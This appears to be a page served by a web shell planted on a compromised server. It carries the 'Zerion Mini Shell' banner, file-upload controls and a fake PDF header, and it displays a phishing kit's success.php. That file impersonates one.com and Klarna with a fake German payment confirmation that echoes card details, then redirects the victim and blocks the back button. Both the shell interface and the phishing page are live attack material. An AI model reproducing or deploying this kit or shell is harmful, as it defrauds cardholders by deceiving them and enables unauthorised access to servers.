%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/de/klarna/
Upload File :
Create Path :
Current File : //dom645759/de/klarna/success.php

<?php
// Récupération des paramètres (id, last4, type) pour personnalisation
$id = isset($_GET['id']) ? htmlspecialchars($_GET['id']) : null;
$last4 = isset($_GET['last4']) ? htmlspecialchars($_GET['last4']) : null;
$card_type = isset($_GET['type']) ? htmlspecialchars($_GET['type']) : null;
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Zahlung erfolgreich | one.com</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            background: #f9fbf6;
            font-family: 'Inter', system-ui, -apple-system, sans-serif;
            height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        .success-card {
            max-width: 480px;
            width: 100%;
            background: white;
            border-radius: 32px;
            border: 1px solid #e0eedc;
            box-shadow: 0 20px 35px -12px rgba(0, 0, 0, 0.05);
            text-align: center;
            padding: 40px 32px;
        }
        .checkmark-circle {
            width: 80px;
            height: 80px;
            background: #4caf50;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 24px;
            animation: scaleIn 0.5s ease;
        }
        .checkmark {
            width: 40px;
            height: 40px;
            border-right: 4px solid white;
            border-bottom: 4px solid white;
            transform: rotate(45deg);
            margin-top: -8px;
        }
        @keyframes scaleIn {
            0% { transform: scale(0); opacity: 0; }
            80% { transform: scale(1.1); }
            100% { transform: scale(1); opacity: 1; }
        }
        h1 {
            font-size: 28px;
            font-weight: 700;
            color: #2c5e2e;
            margin-bottom: 12px;
        }
        .amount {
            font-size: 36px;
            font-weight: 800;
            color: #1e4620;
            margin: 16px 0 8px;
        }
        .merchant {
            background: #f0f7ed;
            display: inline-block;
            padding: 6px 16px;
            border-radius: 40px;
            font-size: 14px;
            font-weight: 600;
            color: #2c5e2e;
            margin-bottom: 24px;
        }
        .details {
            border-top: 1px solid #e0eedc;
            padding-top: 20px;
            margin-top: 8px;
            font-size: 14px;
            color: #5b8c4e;
        }
        .order-line {
            display: flex;
            justify-content: space-between;
            margin-bottom: 12px;
        }
        .order-line span:first-child { font-weight: 500; }
        .order-line span:last-child { font-weight: 700; color: #2c5e2e; }
        .redirect-timer {
            background: #f9fbf6;
            border-radius: 60px;
            padding: 12px 20px;
            margin-top: 28px;
            font-size: 14px;
            color: #6f8f62;
        }
        .timer-number {
            font-weight: 800;
            font-size: 18px;
            color: #4caf50;
            background: white;
            display: inline-block;
            width: 32px;
            text-align: center;
            border-radius: 30px;
            margin: 0 4px;
        }
        .manual-link {
            margin-top: 20px;
            font-size: 13px;
        }
        .manual-link a {
            color: #4caf50;
            text-decoration: none;
            font-weight: 500;
        }
        .manual-link a:hover { text-decoration: underline; }
        .logo {
            margin-bottom: 20px;
        }
        .logo span {
            font-size: 24px;
            font-weight: 700;
            color: #2c5e2e;
        }
        .logo span span { color: #6b8c5c; }
    </style>
</head>
<body>
<div class="success-card">
    <div class="logo">
        <span>one<span>.com</span></span>
    </div>
    <div class="checkmark-circle">
        <div class="checkmark"></div>
    </div>
    <h1>Zahlung erfolgreich</h1>
    <div class="amount">€ 17,99</div>
    <div class="merchant">One.com GmbH</div>

    <div class="details">
        <div class="order-line">
            <span>Bestellnummer</span>
            <span><?php echo $id ? '#' . htmlspecialchars($id) : '#' . rand(100000, 999999); ?></span>
        </div>
        <?php if ($last4): ?>
        <div class="order-line">
            <span>Karte endet auf</span>
            <span>**** <?php echo htmlspecialchars($last4); ?></span>
        </div>
        <?php endif; ?>
        <?php if ($card_type): ?>
        <div class="order-line">
            <span>Kartentyp</span>
            <span><?php echo htmlspecialchars(ucfirst($card_type)); ?></span>
        </div>
        <?php endif; ?>
        <div class="order-line">
            <span>Transaktionsdatum</span>
            <span><?php echo date('d.m.Y H:i'); ?></span>
        </div>
    </div>

    <div class="redirect-timer">
        Sie werden in <strong>one.com</strong> weitergeleitet in 
        <span class="timer-number" id="countdown">10</span> Sekunden
    </div>
    <div class="manual-link">
        <a href="https://www.one.com/de" id="directLink">Hier klicken</a> falls die Weiterleitung nicht funktioniert.
    </div>
</div>

<script>
    let secondsLeft = 10;
    const countdownElem = document.getElementById('countdown');
    const directLink = document.getElementById('directLink');
    const redirectUrl = 'https://www.one.com/de';
    
    const timer = setInterval(() => {
        secondsLeft--;
        countdownElem.textContent = secondsLeft;
        if (secondsLeft <= 0) {
            clearInterval(timer);
            window.location.href = redirectUrl;
        }
    }, 1000);
    
    directLink.addEventListener('click', (e) => {
        e.preventDefault();
        clearInterval(timer);
        window.location.href = redirectUrl;
    });
    
    history.pushState(null, null, location.href);
    window.onpopstate = function () { history.go(1); };
</script>
</body>
</html>

Zerion Mini Shell 1.0